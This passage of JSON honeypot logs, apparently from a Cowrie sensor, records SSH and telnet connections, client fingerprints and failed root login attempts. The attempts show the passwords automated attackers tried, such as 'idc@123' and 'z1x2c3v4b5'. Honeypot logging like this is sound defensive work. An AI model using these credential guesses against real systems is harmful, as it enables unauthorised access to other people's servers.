com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:19.416643Z","src_ip":"52.236.56.129","session":"0e8f858e7840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unix","message":"login attempt [root/unix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:19.575896Z","src_ip":"165.154.227.158","session":"d9eb2a31ce3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"autoexec","message":"login attempt [root/autoexec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:19.722292Z","src_ip":"52.236.56.129","session":"0e8f858e7840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:20.792485Z","src_ip":"52.236.56.129","session":"0e8f858e7840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:20.798066Z","src_ip":"165.154.227.158","session":"d9eb2a31ce3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":53758,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f8f498cf78f","protocol":"ssh","message":"New connection: 43.135.139.74:53758 (10.17.0.5:22) [session: 5f8f498cf78f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:21.807453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:21.812809Z","src_ip":"43.135.139.74","session":"5f8f498cf78f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:21.881579Z","src_ip":"43.135.139.74","session":"5f8f498cf78f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"idc@123","message":"login attempt [root/idc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:22.198385Z","src_ip":"43.135.139.74","session":"5f8f498cf78f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00162267684937,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:22.437060Z","src_ip":"152.42.224.71","session":"e340b823fb7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":73.48328232765198,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:22.917064Z","src_ip":"152.42.224.71","session":"434fba1ca465","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:23.270161Z","src_ip":"43.135.139.74","session":"5f8f498cf78f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34692,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb1ca57d9f7a","protocol":"telnet","message":"New connection: 152.42.224.71:34692 (10.17.0.5:23) [session: cb1ca57d9f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:24.041130Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47272,"dst_ip":"10.17.0.5","dst_port":23,"session":"76411f8bb05d","protocol":"telnet","message":"New connection: 152.42.224.71:47272 (10.17.0.5:23) [session: 76411f8bb05d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:26.013060Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47284,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0f58ce9b3a7","protocol":"telnet","message":"New connection: 152.42.224.71:47284 (10.17.0.5:23) [session: a0f58ce9b3a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:30.480097Z"}
{"eventid":"cowrie.session.closed","duration":52.190309286117554,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:34.003552Z","src_ip":"152.42.224.71","session":"c7fac8238846","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.735960960388184,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:35.635193Z","src_ip":"152.42.224.71","session":"188f6f3ae843","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":40094,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1aebb563a03","protocol":"ssh","message":"New connection: 165.154.6.86:40094 (10.17.0.5:22) [session: b1aebb563a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:39.878766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:39.883537Z","src_ip":"165.154.6.86","session":"b1aebb563a03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:40.097677Z","src_ip":"165.154.6.86","session":"b1aebb563a03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deepspeed","message":"login attempt [root/deepspeed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:40.988182Z","src_ip":"165.154.6.86","session":"b1aebb563a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:42.205728Z","src_ip":"165.154.6.86","session":"b1aebb563a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00231432914734,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:42.977084Z","src_ip":"152.42.224.71","session":"762be97cf783","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.51603865623474,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:45.221811Z","src_ip":"152.42.224.71","session":"84c4d53fb55d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.35845160484314,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:45.673317Z","src_ip":"152.42.224.71","session":"97fdf2f1a15a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.90930938720703,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:48.235731Z","src_ip":"152.42.224.71","session":"503d10d8a2e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36620,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba6744470ea0","protocol":"telnet","message":"New connection: 152.42.224.71:36620 (10.17.0.5:23) [session: ba6744470ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:48.649061Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":50044,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4b2666e4440","protocol":"ssh","message":"New connection: 147.45.199.80:50044 (159.203.135.109:22) [session: b4b2666e4440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:48.797923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:48.803226Z","src_ip":"147.45.199.80","session":"b4b2666e4440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:48.907604Z","src_ip":"147.45.199.80","session":"b4b2666e4440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kokoko","message":"login attempt [root/kokoko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:49.211682Z","src_ip":"147.45.199.80","session":"b4b2666e4440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:50.315093Z","src_ip":"147.45.199.80","session":"b4b2666e4440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":34080,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b2a3d6160bf","protocol":"ssh","message":"New connection: 117.121.214.50:34080 (10.17.0.5:22) [session: 2b2a3d6160bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:54.912579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:54.916644Z","src_ip":"117.121.214.50","session":"2b2a3d6160bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:55.171715Z","src_ip":"117.121.214.50","session":"2b2a3d6160bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2b3c4d5e","message":"login attempt [root/1a2b3c4d5e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:56.226093Z","src_ip":"117.121.214.50","session":"2b2a3d6160bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.63130235671997,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:57.111269Z","src_ip":"152.42.224.71","session":"a0f58ce9b3a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:19:57.482880Z","src_ip":"117.121.214.50","session":"2b2a3d6160bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36022,"dst_ip":"10.17.0.5","dst_port":23,"session":"40510b6e0ec3","protocol":"telnet","message":"New connection: 152.42.224.71:36022 (10.17.0.5:23) [session: 40510b6e0ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:00.749674Z"}
{"eventid":"cowrie.session.closed","duration":52.88094353675842,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:05.207711Z","src_ip":"152.42.224.71","session":"5315ed2d8f90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.218","src_port":32844,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dc54bc82bcc","protocol":"ssh","message":"New connection: 176.65.132.218:32844 (10.17.0.5:22) [session: 4dc54bc82bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:07.503066Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:07.507894Z","src_ip":"176.65.132.218","session":"4dc54bc82bcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.218","src_port":32854,"dst_ip":"10.17.0.5","dst_port":22,"session":"97c4bb4609fc","protocol":"ssh","message":"New connection: 176.65.132.218:32854 (10.17.0.5:22) [session: 97c4bb4609fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:07.678142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:07.682926Z","src_ip":"176.65.132.218","session":"97c4bb4609fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:07.767131Z","src_ip":"176.65.132.218","session":"97c4bb4609fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xVjBudfy","message":"login attempt [root/xVjBudfy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:07.937078Z","src_ip":"176.65.132.218","session":"97c4bb4609fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:09.257068Z","src_ip":"176.65.132.218","session":"97c4bb4609fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":35916,"dst_ip":"159.203.135.109","dst_port":22,"session":"b19809456bce","protocol":"ssh","message":"New connection: 109.237.96.109:35916 (159.203.135.109:22) [session: b19809456bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:10.410163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:10.414288Z","src_ip":"109.237.96.109","session":"b19809456bce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:10.504008Z","src_ip":"109.237.96.109","session":"b19809456bce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z1x2c3v4b5","message":"login attempt [root/z1x2c3v4b5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:10.775677Z","src_ip":"109.237.96.109","session":"b19809456bce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:11.869751Z","src_ip":"109.237.96.109","session":"b19809456bce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34344,"dst_ip":"10.17.0.5","dst_port":23,"session":"470aca938095","protocol":"telnet","message":"New connection: 152.42.224.71:34344 (10.17.0.5:23) [session: 470aca938095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:12.181103Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":49670,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fa87b784496","protocol":"ssh","message":"New connection: 103.172.78.219:49670 (159.203.135.109:22) [session: 6fa87b784496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:20:12.774363Z"}
